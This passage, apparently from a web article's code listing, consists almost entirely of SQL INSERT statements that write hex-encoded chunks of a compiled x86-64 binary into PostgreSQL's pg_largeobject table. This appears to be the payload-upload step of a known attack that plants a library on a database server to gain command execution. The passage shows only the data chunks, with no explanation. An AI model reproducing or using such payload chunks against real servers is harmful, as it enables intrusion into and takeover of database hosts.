048c1ea030fb6c083e0070fb64c14200fabc149ffc1884c1420418a0184c075ddeb1f410fb6c1ba01000000410fb6c983e10748c1e803d3e284540420751f49ffc0458a084584c975d933c0488b4c24404833cce88e1bffff4883c458c3498bc0ebe9e80b20ffffcccccccccccccccccccccccccccccc48895c24084889742410574c8bd2488d358b06ffff4183e20f488bfa492bfa488bda4c8bc10f57db498d42fff30f6f0f4883f80e77738b84866cfc00004803c6ffe0660f73d901eb60660f73d902eb59660f73d903eb52660f73d904eb4b660f73d905eb44660f73d906eb3d660f73d907eb36660f73d908eb2f660f73d909eb28660f73d90aeb21660f73d90beb1a660f73d90ceb13660f73d90deb0c660f73d90eeb05660f73d90f0f57c041b90f000000660f74c1660fd7c085c00f84330100000fbcd04d85d27506458d59f2eb144533db8bc2b910000000492bca483bc1410f92c3418bc12bc2413bc10f87cf0000008b8c86a8fc00004803ceffe1660f73f901660f73d901e9b4000000660f73f902660f73d902e9a5000000660f73f903660f73d903e996000000660f73f904660f73d904e987000000660f73f905660f73d905eb7b660f73f906660f73d906eb6f660f73f907660f73d907eb63660f73f908660f73d908eb57660f73f909660f73d909eb4b660f73f90a660f73d90aeb3f660f73f90b660f73d90beb33660f73f90c660f73d90ceb27660f73f90d660f73d90deb1b660f73f90e660f73d90eeb0f660f73f90f660f73d90feb030f57c94585db0f85e6000000f30f6f5710660f6fc2660f74c3660fd7c085c07535488bd3498bc8488b5c2410488b7424185fe95ffdffff4d85d275d0443857010f84ac000000488b5c2410488b7424185fe940fdffff0fbcc88bc1492bc24883c0104883f81077b9442bc94183f90f7779428b8c8ee8fc00004803ceffe1660f73fa01eb65660f73fa02eb5e660f73fa03eb57660f73fa04eb50660f73fa05eb49660f73fa06eb42660f73fa07eb3b660f73fa08eb34660f73fa09eb2d660f73fa0aeb26660f73fa0beb1f660f73fa0ceb18660f73fa0deb11660f73fa0eeb0a660f&#39;</span>,<span class="code-snippet__string">&#39;hex&#39;</span>));</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">insert</span> <span class="code-snippet__keyword">into</span> pg_largeobject <span class="code-snippet__keyword">values</span> (<span class="code-snippet__number">5022</span>, <span class="code-snippet__number">30</span>, <span class="code-snippet__keyword">decode</span>(<span class="code-snippet__string">&#39;73fa0feb030f57d2660febd1660f6fca410fb60084c074340f1f8400000000000fbec0660f6ec0660f60c0660f60c0660f70c000660f74c1660fd7c085c0751a410fb6400149ffc084c075d433c0488b5c2410488b7424185fc3488b5c2410498bc0488b7424185fc30f1f00a2f90000a9f90000b0f90000b7f90000bef90000c5f90000ccf90000d3f90000daf90000e1f90000e8f90000eff90000f6f90000fdf9000004fa00005efa00006dfa00007cfa00008bfa00009afa0000a6fa0000b2fa0000befa0000cafa0000d6fa0000e2fa0000eefa0000fafa000006fb000012fb00001efb00009cfb0000a3fb0000aafb0000b1fb0000b8fb0000bffb0000c6fb0000cdfb0000d4fb0000dbfb0000e2fb0000e9fb0000f0fb0000f7fb0000fefb000005fc00004533c0e90000000048895c2408574883ec40488bda488bf94885c97514e80a65ffffc70016000000e8df63ffff33c0eb604885db74e7483bfb73f2498bd0488d4c2420e8285fffff488b4c2430488d53ff83790800742448ffca483bfa770a0fb602f64408190475ee488bcb482bca488bd383e101482bd148ffca807c243800740c488b4c242083a1a8030000fd488bc2488b5c24504883c4405fc3405541544155415641574883ec60488d6c243048895d604889756848897d70488b051ed200004833c548894520448bea458bf9488bd14d8be0488d4d00e8925effff8bbd8800000085ff7507488b45088b780cf79d90000000458bcf4d8bc48bcf1bd2836424280048836424200083e208ffc2e818b6ffff4c63f085c0750733ffe9ce000000498bf64803f6488d4610483bf0481bc94823c874534881f9000400007731488d410f483bc1770a48b8f0ffffffffffff0f4883e0f0e84c230000482be0488d5c24304885db746fc703cccc0000eb13e8a65fffff488bd84885c0740ec700dddd00004883c310eb0233db4885db74474c8bc633d2488bcbe8da2dffff458bcf44897424284d8bc448895c2420ba010000008bcfe872b5ffff85c0741a4c8b8d80000000448bc0488bd3418bcdff155c3300008bf8eb0233ff4885db7411488d4bf08139dddd00007505e8ec5effff807d1800740b488b450083a0a8030000fd8bc7488b4d204833cde89915ffff488b5d60488b7568488b7d70488d6530415f415e415d415c5dc3cccccc405541544155415641574883ec60488d6c245048895d404889754848897d50488b058ed000004833c54889450848635d604d8bf948895500458be8488bf985db7e14488bd3498bc9e8531000003bc38d58017c028bd8448b75784585f67507488b07448b700cf79d80000000448bcb4d8bc7418bce1bd2836424280048836424200083e208ffc2e874b4ffff4c63e085c00f8436020000498bc449b8f0ffffffffffff0f4803c0488d4810483bc1481bd24823d174534881fa00040000772e488d420f483bc27703498bc04883e0f0e8a8210000482be0488d7424504885f60f84ce010000c706cccc0000eb16488bcae8fb5dffff488bf04885c0740ec700dddd00004883c610eb0233f64885f60f849f0100004489642428448bcb4d8bc74889742420ba01000000418bcee8cfb3ffff85c00f847a010000488364244000458bcc4883642438004c8bc6488364243000418bd54c8b7d008364242800498bcf488364242000e885beffff4863f885c00f843d010000ba000400004485ea74528b457085c00f842a0100003bf80f8f20010000488364244000458bcc4883642438004c8bc6488364243000418bd589442428498bcf488b45684889442420e82dbeffff8bf885c00f85e8000000e9e1000000488bcf4803c9488d4110483bc8481bc94823c87453483bca7735488d410f483bc1770a48b8f0ffffffffffff0f4883e0f0e874200000482be0488d5c24504885db0f849a000000c703cccc0000eb13e8ca5cffff488bd84885c0740ec700dddd00004883c310eb0233db4885db7472488364244000458bcc4883642438004c8bc6488364243000418bd5897c2428498bcf48895c2420e883bdffff85c0743148836424380033d24821542430448bcf8b45704c8bc3418bce85c07565215424284821542420e8c0b2ffff8bf885c07560488d4bf08139dddd00007505e8fd5bffff33ff4885f67411488d4ef08139dddd00007505e8e55bffff8bc7488b4d084833cde8a312ffff488b5d40488b7548488b7d50488d6510415f415e415d415c5dc389442428488b45684889442420eb95488d4bf08139dddd000075a7e89d5bffffeba0cccccc48895c24084889742410574883ec70488bf2498bd9488bd1418bf8488d4c2450e8075affff8b8424c0000000488d4c2458894424404c8bcb8b8424b8000000448bc789442438488bd68b8424b000000089442430488b8424a800000048894424288b8424a000000089442420e877fcffff807c246800740c488b4c245083a1a8030000fd4c8d5c2470498b5b10498b7318498be35fc3cccc4883ec28e85badffff33c984c00f94c18bc14883c428c3cc488bc44889580848897010488978185541564157488d68a14881eca00000004533ff4c8bf2488bf14c897d1733d24c897d1f488d4dc74c897d274c897d2f418bff4c897d3744887d3f4c897de74c897def4c897df74c897dff4c897d0744887d0fe81659ffff488b45cfbbe9fd000039580c751644387ddf740b488b45c783a0a8030000fd448bc3eb36e8f1b8ffff85c0751944387ddf740b488b45c783a0a8030000fd41b801000000eb1444387ddf740b488b45c783a0a8030000fd458bc7488d5517488bcee8346bffff85c00f858400000033d2488d4dc7e89d58ffff488b45cf39&#39;</span>,<span class="code-snippet__string">&#39;hex&#39;</span>));</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">insert</span> <span class="code-snippet__keyword">into</span> pg_largeobject <span class="code-snippet__keyword">values</span> (<span class="code-snippet__number">5022</span>, <span class="code-snippet__number">31</span>, <span class="code-snippet__keyword">decode</span>(<span class="code-snippet__string">&#39;580c751344387ddf7442488b45c783a0a8030000fdeb35e880b8ffff85c0751844387ddf740b488b45c783a0a8030000fdbb01000000eb1444387ddf740b488b45c783a0a8030000fd418bdf448bc3488d55e7498bcee8c16affff488b7df785c07511488b4d27488bd7ff15982d00008bd8eb03418bdf44387d0f7408488bcfe87f59ffff44387d3f7409488b4d27e87059ffff4c8d9c24a00000008bc3498b5b20498b7328498b7b30498be3415f415e5dc3cc48895c240848896c2410488974241857415641574883ec204c8bf14885c9747433db4c8d3d23fbfeffbfe30000008d041f41b85500000099498bce2bc2d1f84863e8488bd5488bf54803d2498b94d7a0730100e818dcffff85c0741379058d7dffeb038d5d013bdf7ec483c8ffeb0b4803f6418b84f7a873010085c078163de4000000730f48984803c0418b84c740590100eb0233c0488b5c2440488b6c2448488b7424504883c420415f415e5fc3cc40534883ec404863d9488d4c2420e82157ffff8d43013d000100007713488b442428488b080fb704592500800000eb0233c0807c243800740c488b4c242083a1a8030000fd4883c4405bc3cc40534883ec30488bd9488d4c2420e8490a00004883f804771a8b542420b9fdff000081faffff00000f47d14885db74036689134883c4305bc3cccccc48895c241048896c24185741544155415641574883ec20488b3a4533ed4d8be1498be84c8bf24c8bf94885c90f84ee000000488bd94d85c00f84a100000044382f750841b801000000eb1d44386f01750841b802000000eb0f8a4702f6d84d1bc049f7d84983c0034d8bcc488d4c2450488bd7e8a8090000488bd04883f8ff74754885c074678b4c245081f9ffff000076394883fd01764781c10000ffff41b800d800008bc1894c2450c1e80a48ffcd66410bc0668903b8ff0300006623c84883c302b800dc0000660bc866890b4803fa4883c3024883ed010f855fffffff492bdf49893e48d1fb488bc3eb1b498bfd6644892bebe949893ee86a5bffffc7002a0000004883c8ff488b5c2458488b6c24604883c420415f415e415d415c5fc3498bdd44382f750841b801000000eb1d44386f01750841b802000000eb0f8a4702f6d84d1bc049f7d84983c0034d8bcc488bd733c9e8c60800004883f8ff74994885c074834883f804750348ffc34803f848ffc3ebadcccc4885c90f8400010000534883ec20488bd9488b4918483b0d18d200007405e87d56ffff488b4b20483b0d0ed200007405e86b56ffff488b4b28483b0d04d200007405e85956ffff488b4b30483b0dfad100007405e84756ffff488b4b38483b0df0d100007405e83556ffff488b4b40483b0de6d100007405e82356ffff488b4b48483b0ddcd100007405e81156ffff488b4b68483b0dead100007405e8ff55ffff488b4b70483b0de0d100007405e8ed55ffff488b4b78483b0dd6d100007405e8db55ffff488b8b80000000483b0dc9d100007405e8c655ffff488b8b88000000483b0dbcd100007405e8b155ffff488b8b90000000483b0dafd100007405e89c55ffff4883c4205bc3cccc4885c97466534883ec20488bd9488b09483b0df9d000007405e87655ffff488b4b08483b0defd000007405e86455ffff488b4b10483b0de5d000007405e85255ffff488b4b58483b0d1bd100007405e84055ffff488b4b60483b0d11d100007405e82e55ffff4883c4205bc348895c24084889742410574883ec2033ff488d04d1488bd9488bf248b9ffffffffffffff1f4823f1483bd8480f47f74885f67414488b0be8ec54ffff48ffc7488d5b08483bfe75ec488b5c2430488b7424384883c4205fc34885c90f84fe00000048895c240848896c2410564883ec20bd07000000488bd98bd5e881ffffff488d4b388bd5e876ffffff8d75058bd6488d4b70e868ffffff488d8bd00000008bd6e85affffff488d8b300100008d55fbe84bffffff488b8b40010000e86754ffff488b8b48010000e85b54ffff488b8b50010000e84f54ffff488d8b600100008bd5e819ffffff488d8b980100008bd5e80bffffff488d8bd00100008bd6e8fdfeffff488d8b300200008bd6e8effeffff488d8b900200008d55fbe8e0feffff488b8ba0020000e8fc53ffff488b8ba8020000e8f053ffff488b8bb0020000e8e453ffff488b8bb8020000e8d853ffff488b5c2430488b6c24384883c4205ec3405553565741544155415641574881ec88000000488d6c2450488b05acc500004833c54889452848639da00000004533e44c8bada80000004d8bf944894500488bf94889550885db7e10488bd3498bc9e863050000488bd8eb0983fbff0f8cdb0200004863b5b000000085f67e10488bd6498bcde83f050000488bf0eb0983feff0f8cb7020000448bb5b80000004585f67507488b07448b700c85db740885f60f85a60000003bde0f848902000083fe010f8f8b00000083fb017f48488d5510418bceff15cb26000085c00f846d02000085db7e39837d10027229488d451644386516741f443860017419418a0f3a0872093a48010f863c0200004883c00244382075e1b803000000e93202000085f67e3a837d1002722a488d451644386516742044386001741a418a4d003a0872093a48010f86fe0100004883c00244382075e0b801000000e9f40100004489642428448bcb4d8bc74c89642420ba09000000418bcee8afa8ffff4c63e085c00f84ca010000498bcc49b8f0ffffffffffff0f4803c9488d5110483bca481bc94823ca74504881f900040000772e488d410f483bc17703498bc04883e0f0e8e3150000482be0488d7c24504885ff0f8459010000c707&#39;</span>,<span class="code-snippet__string">&#39;hex&#39;</span>));</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">insert</span> <span class="code-snippet__keyword">into</span> pg_largeobject <span class="code-snippet__keyword">values</span> (<span class="code-snippet__number">5022</span>, <span class="code-snippet__number">32</span>, <span class="code-snippet__keyword">decode</span>(<span class="code-snippet__string">&#39;cccc0000eb13e83952ffff488bf84885c0740ec700dddd00004883c710eb0233ff4885ff0f842d0100004489642428448bcb4d8bc748897c2420ba01000000418bcee80da8ffff85c00f84080100008364242800448bce4883642420004d8bc5ba09000000418bcee8e7a7ffff4c63f885c00f84df000000498bd74803d2488d4a10483bd1481bd24823d174564881fa000400007731488d420f483bc2770a48b8f0ffffffffffff0f4883e0f0e81e150000482be0488d5c24504885db747ec703cccc0000eb16488bcae87551ffff488bd84885c0740ec700dddd00004883c310eb0233db4885db745344897c2428448bce4d8bc548895c2420ba01000000418bcee84da7ffff85c07432488364244000458bcc4883642438004c8bc74883642430008b5500488b4d0844897c242848895c2420e89fafffff8bf0eb0233f64885db7415488d4bf08139dddd00007509e8af50ffffeb0233f64885ff7411488d4ff08139dddd00007505e89550ffff8bc6eb09b802000000eb0233c0488b4d284833cde84807ffff488d6538415f415e415d415c5f5e5b5dc3cccccc48895c24084889742410574883ec60488bf2498bd9488bd1418bf8488d4c2440e8d74effff8b8424a8000000488d4c2448894424384c8bcb8b8424a0000000448bc789442430488bd6488b84249800000048894424288b84249000000089442420e83afcffff807c245800740c488b4c244083a1a8030000fd488b5c2470488b7424784883c4605fc3cccccc8b05dedd0000c3cc66894c24084883ec28e85e09000085c0741f4c8d442438ba01000000488d4c2430e8b609000085c074070fb7442430eb05b8ffff00004883c428c3cc488bc4488958084889681048897018488978204154415641574883ec20488bda41be01000000458bc633d28be9e8c27effff33d2458d46018bcd4c8bf8e8b27effff488bf3482bf04983ffff0f84e50000004883f8ff0f84db00000033ff4885f60f8e8c00000041bc00100000418bd6418bcce8847effff488bd84885c0750de86353ffffc7000c000000eb49ba008000008bcde84be0ffff448bf0eb0a4898482bf04885f67e3f448bc6493bf4488bd38bcd450f4dc4e818cfffff83f8ff75dde80253ffff833805750be81853ffffc7000d000000e80d53ffff8b38488bcbe8b34effffeb57418bd68bcde8f3dfffffebea79494533c0488bd38bcde8f27dffff4883f8ff742f8bcde811c3ffff488bc8ff15dc22000085c07522e8c752ffffc7000d000000e89c52ffff488bd8ff15ff2000008903e8ac52ffff8b384533c0498bd78bcde8a97dffff488b5c24408bc7488b7c2458488b6c2448488b7424504883c420415f415e415cc38b0536dc0000b90040000085c00f44c1890526dc000033c0c3cccccc33c03801740e483bc2740948ffc0803c080075f2c3cccccc48895c2410555657415641574883ec40488b05e5bf00004833c448894424304533d24c8d1de3db00004d85c9488d3d432b0000488bc24c8bfa4d0f45d94885d2418d6a01480f45fa448bf54d0f45f048f7d8481bf64823f14d85f6750c48c7c0feffffffe94e01000066453953067568440fb60f48ffc74584c978174885f6740344890e4584c9410f95c2498bc2e924010000418ac124e03cc0750541b002eb1e418ac124f03ce0750541b003eb10418ac124f83cf00f85e900000041b004410fb6c0b9070000002bc88bd5d3e2418ad82bd54123d1eb29458a4304418b13418a5b06418d40fe3c020f87b6000000403add0f82ad000000413ad80f83a40000000fb6eb493bee448bcd4d0f43ceeb1e0fb60f48ffc78ac124c03c800f85830000008bc283e13fc1e0068bd10bd0488bc7492bc7493bc172d74c3bcd731c410fb6c0412ad966418943040fb6c36641894306418913e903ffffff8d820028ffff3dff070000763e81fa000011007336410fb6c0c744242080000000c744242400080000c7442428000001003b54841872144885f674028916f7da4d8913481bc04823c5eb124d8913e89b50ffffc7002a0000004883c8ff488b4c24304833cce80003ffff488b5c24784883c440415f415e5f5e5dc3cccccccccccccccccccccccccccccc4883ec58660f7f742420833d23da0000000f85e9020000660f28d8660f28e0660f73d33466480f7ec0660ffb1d5f7a0000660f28e8660f542d237a0000660f2f2d1b7a00000f8485020000660f28d0f30fe6f3660f57ed660f2fc50f862f020000660fdb15477a0000f20f5c25cf7a0000660f2f35577b00000f84d8010000660f5425a97b00004c8bc84823052f7a00004c230d387a000049d1e14903c166480f6ec8660f2f25457b00000f82df00000048c1e82c660feb15937a0000660feb0d8b7a00004c8d0d048c0000f20f5ccaf2410f590cc1660f28d1660f28c14c8d0dcb7b0000f20f101dd37a0000f20f100d9b7a0000f20f59daf20f59caf20f59c2660f28e0f20f581da37a0000f20f580d6b7a0000f20f59e0f20f59daf20f59c8f20f581d777a0000f20f58caf20f59dcf20f58cbf20f102de3790000f20f590d9b790000f20f59eef20f5ce9f2410f1004c1488d1566830000f20f1014c2f20f1025a9790000f20f59e6f20f58c4f20f58d5f20f58c2660f6f7424204883c458c36666666666660f1f840000000000f20f101598790000f20f5c05a0790000f20f58d0660f28c8f20f5ecaf20f10259c7a0000f20f102db47a0000660f28f0f20f59f1f20f58c9660f28d1f20f59d1f20f59e2f20f59eaf20f5825607a0000f20f582d787a0000f20f59d1f20f59e2f20f59d2f20f59d1f20f59eaf20f1015fc780000f20f58e5f20f5ce6f20f1035&#39;</span>,<span class="code-snippet__string">&#39;hex&#39;</span>));</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">insert</span> <span class="code-snippet__keyword">into</span> pg_largeobject <span class="code-snippet__keyword">values</span> (<span class="code-snippet__number">5022</span>, <span class="code-snippet__number">33</span>, <span class="code-snippet__keyword">decode</span>(<span class="code-snippet__string">&#39;dc780000660f28d8660fdb1d607a0000f20f5cc3f20f58e0660f28c3660f28ccf20f59e2f20f59c2f20f59cef20f59def20f58c4f20f58c1f20f58c3660f6f7424204883c458c3660feb15e1780000f20f5c15d9780000f20f10ea660fdb153d78000066480f7ed0660f73d534660ffa2d5b790000f30fe6f5e9f1fdffff6690751ef20f100db6770000448b05ef790000e8fa060000eb480f1f840000000000f20f100db8770000448b05d5790000e8dc060000eb2a66660f1f840000000000483b05897700007417483b057077000074ce480b059777000066480f6ec06690660f6f7424204883c458c30f1f4400004833c0c5e173d034c4e1f97ec0c5e1fb1d7b770000c5fae6f3c5f9db2d3f770000c5f92f2d377700000f8441020000c5d1efedc5f92fc50f86e3010000c5f9db156b770000c5fb5c25f3770000c5f92f357b7800000f848e010000c5f9db0d5d770000c5f9db1d65770000c5e173f301c5e1d4c9c4e1f97ec8c5d9db25af780000c5f92f25677800000f82b100000048c1e82cc5e9eb15b5770000c5f1eb0dad7700004c8d0d26890000c5f35ccac4c173590cc14c8d0df5780000c5f359c1c5fb101df9770000c5fb102dc1770000c4e2f1a91dd8770000c4e2f1a92d6f770000f20f10e0c4e2f1a91db2770000c5fb59e0c4e2d1b9c8c4e2e1b9ccc5f3590ddc760000c5fb102d14770000c4e2c9abe9f2410f1004c1488d15a2800000f20f1014c2c5eb58d5c4e2c9b905e0760000c5fb58c2c5f96f7424204883c458c390c5fb1015e8760000c5fb5c05f0760000c5eb58d0c5fb5ecac5fb1025f0770000c5fb102d08780000c5fb59f1c5f358c9c5f359d1c4e2e9a925c3770000c4e2e9a92dda770000c5eb59d1c5db59e2c5eb59d2c5eb59d1c5d359eac5db58e5c5db5ce6c5f9db1dd6770000c5fb5cc3c5db58e0c5db590d36760000c5db59253e760000c5e3590536760000c5e3591d1e760000c5fb58c4c5fb58c1c5fb58c3c5f96f7424204883c458c3c5e9eb154f760000c5eb5c1547760000c5d173d234c5e9db15aa750000c5f928c2c5d1fa2dce760000c5fae6f5e940feffff0f1f440000752ec5fb100d26750000448b055f770000e86a040000c5f96f7424204883c458c3666666666666660f1f840000000000c5fb100d18750000448b0535770000e83c040000c5f96f7424204883c458c390483b05e97400007427483b05d074000074ce480b05f774000066480f6ec8448b0503770000e806040000eb040f1f4000c5f96f7424204883c458c3cc40534883ec40488b0577c2000033db4883f8fe752e48895c2430448d4303895c2428488d0dcb7600004533c94489442420ba00000040ff15701a000048890541c200004883f8ff0f95c38bc34883c4405bc3cccc4883ec28488b0d25c200004883f9fd7706ff15111900004883c428c3488bc4488958084889681048897018574883ec40488360d800498bf84d8bc88bf2448bc2488be9488bd1488b0de3c10000ff15c51700008bd885c0756aff155118000083f806755f488b0dc5c100004883f9fd7706ff15b1180000488364243000488d0d1c760000836424280041b8030000004533c94489442420ba00000040ff15b61900004883642420004c8bcf488bc84889057bc10000448bc6488bd5ff15571700008bd8488b6c24588bc3488b5c2450488b7424604883c4405fc3cccc488bc4534883ec50f20f108424800000008bd9f20f108c2488000000bac0ff00008948c8488b8c2490000000f20f1140e0f20f1148e8f20f1158d84c8940d0e828070000488d4c2420e84aacffff85c075078bcbe8c3060000f20f104424404883c4505bc3cccccc48895c24084889742410574883ec208bd9488bf283e31f8bf9f6c10874144084f6790fb901000000e85307000083e3f7eb57b9040000004084f97411480fbae609730ae83807000083e3fbeb3c40f6c7017416480fbae60a730fb908000000e81c07000083e3feeb2040f6c702741a480fbae60b731340f6c710740ab910000000e8fa06000083e3fd40f6c7107414480fbae60c730db920000000e8e006000083e3ef488b74243833c085db488b5c24300f94c04883c4205fc3cccc488bc4555356574156488d68c94881ecf00000000f2970c8488b05f9b500004833c4488945ef8bf24c8bf1bac0ff0000b9801f0000418bf9498bd8e8080600008b4d5f488944244048895c2450f20f10442450488b542440f20f11442448e8e1fefffff20f10757785c07540837d7f0275118b45bf83e0e3f20f1175af83c8038945bf448b455f488d4424484889442428488d542440488d456f448bce488d4c24604889442420e814020000e89baaffff84c0743485ff7430488b4424404d8bc6f20f104424488bcff20f105d6f8b55674889442430f20f11442428f20f11742420e8f5fdffffeb1c8bcfe808050000488b4c2440bac0ff0000e849050000f20f10442448488b4def4833cce8cff9feff0f28b424e00000004881c4f0000000415e5f5e5b5dc3cccccccccccccccccc40534883ec104533c033c9448905eed00000458d4801418bc10fa2890424b800100018894c240823c8895c24048954240c3bc8752c33c90f01d048c1e220480bd04889542420488b442420448b05aed0000024063c06450f44c14489059fd000004489059cd0000033c04883c4105bc34883ec38488d05358b000041b91b0000004889442420e8050000004883c438c3488bc44883ec680f2970e80f28f1418bd10f28d84183e801742a4183f8017569448940d80f57d2f20f1150d0458bc8f20f1140c8c740c021000000c740b808000000eb2dc7442440010000000f57c0f2&#39;</span>,<span class="code-snippet__string">&#39;hex&#39;</span>));</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">insert</span> <span class="code-snippet__keyword">into</span> pg_largeobject <span class="code-snippet__keyword">values</span> (<span class="code-snippet__number">5022</span>, <span class="code-snippet__number">34</span>, <span class="code-snippet__keyword">decode</span>(<span class="code-snippet__string">&#39;0f1144243841b902000000f20f115c2430c744242822000000c744242004000000488b8c2490000000f20f117424784c8b442478e8b7fdffff0f28c60f287424504883c468c3cccccccccccccccccccccccccccccccc66660f1f8400000000004883ec080fae1c248b04244883c408c3894c24080fae542408c30fae5c2408b9c0ffffff214c24080fae542408c3660f2e054a8a00007314660f2e05488a0000760af2480f2dc8f2480f2ac1c3cccccc4883ec488364243000488b4424784889442428488b4424704889442420e8060000004883c448c3cc488bc44889581048897018488978204889480855488bec4883ec20488bda418bf133d2bf0d0000c0895104488b4510895008488b451089500c41f6c010740d488b4510bf8f0000c08348040141f6c002740d488b4510bf930000c08348040241f6c001740d488b4510bf910000c08348040441f6c004740d488b4510bf8e0000c08348040841f6c008740d488b4510bf900000c083480410488b4d10488b0348c1e807c1e004f7d033410883e010314108488b4d10488b0348c1e809c1e003f7d033410883e008314108488b4d10488b0348c1e80ac1e002f7d033410883e004314108488b4d10488b0348c1e80b03c0f7d033410883e0023141088b03488b4d1048c1e80cf7d033410883e001314108e8e7020000488bd0a8017408488b4d1083490c10f6c2047408488b4d1083490c08f6c2087408488b451083480c04f6c2107408488b451083480c02f6c2207408488b451083480c018b03b9006000004823c1743e483d002000007426483d00400000740e483bc17530488b4510830803eb27488b45108320fe488b4510830802eb17488b45108320fd488b4510830801eb07488b45108320fc488b451081e6ff0f0000c1e60581201f00feff488b45100930488b4510488b753883482001837d40007433488b4510bae1ffffff215020488b45308b08488b4510894810488b451083486001488b4510215060488b45108b0e894850eb48488b4d1041b8e3ffffff8b41204123c083c802894120488b4530488b08488b451048894810488b451083486001488b55108b42604123c083c802894260488b4510488b1648895050e8ec00000033d24c8d4d108bcf448d4201ff15ca110000488b4d108b4108a8107408480fba33078b4108a8087408480fba33098b4108a8047408480fba330a8b4108a8027408480fba330b8b4108a8017405480fba330c8b0183e003743083e801741f83e801740e83f801752848810b00600000eb1f480fba330d480fba2b0eeb13480fba330e480fba2b0deb07488123ff9fffff837d400074078b41508906eb07488b4150488906488b5c2438488b742440488b7c24484883c4205dc3cccccc4883ec2883f90174158d41fe83f8017718e85642ffffc70022000000eb0be84942ffffc700210000004883c428c3cccc40534883ec20e83dfcffff8bd883e33fe84dfcffff8bc34883c4205bc3cccccc48895c24184889742420574883ec20488bda488bf9e80efcffff8bf0894424388bcbf7d181c97f80ffff23c823fb0bcf894c2430803dbdb90000007425f6c1407420e8f1fbffffeb21c605a8b90000008b4c243083e1bfe8dcfbffff8b742438eb0883e1bfe8cefbffff8bc6488b5c2440488b7424484883c4205fc340534883ec20488bd9e89efbffff83e33f0bc38bc84883c4205be99dfbffffcc4883ec28e883fbffff83e03f4883c428c3cccccccccccccccccccccc4c63413c4533c94c03c14c8bd2410fb74014450fb758064883c0184903c04585db741e8b500c4c3bd2720a8b480803ca4c3bd1720e41ffc14883c028453bcb72e233c0c3cccccccccccccccccccccccc48895c2408574883ec20488bd9488d3dacdefeff488bcfe83400000085c07422482bdf488bd3488bcfe882ffffff4885c0740f8b4024c1e81ff7d083e001eb0233c0488b5c24304883c4205fc3ccccccb84d5a000066390175204863413c4803c18138504500007511b90b020000663948187506b801000000c333c0c3cccccccccccccccccc66660f1f8400000000004883ec104c8914244c895c24084d33db4c8d5424184c2bd04d0f42d3654c8b1c25100000004d3bd3f27317664181e200f04d8d9b00f0ffff41c603004d3bd3f275ef4c8b14244c8b5c24084883c410f2c3cccccc4533c94c8bc185d2753f4183e00f488bd14883e2f0418bc84183c8ff0f57c041d3e0660f7402660fd7c04123c075134883c2100f57c0660f7402660fd7c085c074ed0fbcc04803c2c3833da4ad0000020f8da80000000fb6c24d8bd04183e00f4983e2f08bc8c1e1080bc8660f6ec1418bc8f20f70c8004183c8ff0f57c041d3e066410f7402660fd7c8660f70d100660f6fc266410f7402660fd7d04123d04123c8752d0fbdca0f57c9660f6fc24903ca85d24c0f45c94983c21066410f740a66410f7402660fd7c9660fd7d085c974d38bc1f7d823c1ffc823d00fbdca4903ca85d24c0f45c9498bc1c3410fbe003bc24d0f44c84180380074ec49ffc041f6c00f75e70fb6c2660f6ec066410f3a630040730d4c63c94d03c866410f3a63004074c44983c010ebe2cccccc0fb6c24c8bc1448bd04983e0f041c1e20883e10f440bd04533c983c8ffd3e066410f6ec2f20f70c8000f57c066410f7400660f70d100660f6fca66410f7408660febc8660fd7d123d075214983c010660f6fca0f57c066410f740866410f7400660febc8660fd7d185d274df0fbcd24903d04438124c0f44ca498bc1c3cccccccccccccccccc66660f1f840000000000482bd14983f8087222f6c107741466908a013a0411752c48ffc149ffc8f6c107&#39;</span>,<span class="code-snippet__string">&#39;hex&#39;</span>));</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">insert</span> <span class="code-snippet__keyword">into</span> pg_largeobject <span class="code-snippet__keyword">values</span> (<span class="code-snippet__number">5022</span>, <span class="code-snippet__number">35</span>, <span class="code-snippet__keyword">decode</span>(<span class="code-snippet__string">&#39;75ee4d8bc849c1e903751f4d85c0740f8a013a0411750c48ffc149ffc875f14833c0c31bc083d8ffc39049c1e9027437488b01483b0411755b488b4108483b441108754c488b4110483b441110753d488b4118483b441118752e4883c12049ffc975cd4983e01f4d8bc849c1e903749b488b01483b0411751b4883c10849ffc975ee4983e007eb834883c1084883c1084883c108488b0c0a480fc8480fc9483bc11bc083d8ffc3cccccccccccccccccccccccccccccc66660f1f840000000000ffe0cccccccccccccccccccccccccccccccccccccccc66660f1f840000000000ff25b20d0000cccccccccccccccccccc40554883ec20488bea8a4d404883c4205de9c2f9feffcc40554883ec20488bea8a4d20e8b0f9feff904883c4205dc3cc40554883ec20488bea4883c4205de911f8feffcc40554883ec30488bea488b018b1048894c2428895424204c8d0da2effeff4c8b45708b5568488b4d60e852f7feff904883c4305dc3cc4055488bea488b0133c98138050000c00f94c18bc15dc3cc4053554883ec28488bea48894d3848894d30807d5800746c488b4530488b0848894d28488b4528813863736de07555488b452883781804754b488b452881782020059319741a488b452881782021059319740d488b4528817820220593197524e83509ffff488b4d2848894820488b4530488b5808e82009ffff48895828e8bb35ffff90c74520000000008b45204883c4285d5bc3cc40554883ec20488bea488b4d304883c4205de9d94effffcc40554883ec20488bea488b4d704883c4205de9c14effffcc40554883ec20488bea48837d2000750a488b4d40e80b4fffff90488b4d40e89d4effff904883c4205dc3cc40554883ec30488bea488b4d604883c4305de97e4effffcc40554883ec20488beab90a000000e80a6dffff904883c4205dc3cc40554883ec20488beab90a0000004883c4205de9ea6cffffcc40554883ec20488bea488b45488b084883c4205de9d06cffffcc40554883ec20488bea488b018b08e8e828ffff904883c4205dc3cc40554883ec30488beab90b0000004883c4305de99c6cffffcc40554883ec20488bea488b45488b084883c4205de942a9ffffcc40554883ec20488beab9080000004883c4205de9696cffffcc40554883ec20488bea488b4d48488b094883c4205de9ae4dffffcc40554883ec20488bea488b85980000008b084883c4205de9316cffffcc40554883ec20488beab9070000004883c4205de9186cffffcc40554883ec20488bea8b4d404883c4205de9c1a8ffffcc40554883ec20488bea8b4d504883c4205de9aaa8ffffcc40554883ec30488bea8b8da8000000e895a8ffff904883c4305dc3cc40554883ec30488bea8b8da8000000e879a8ffff904883c4305dc3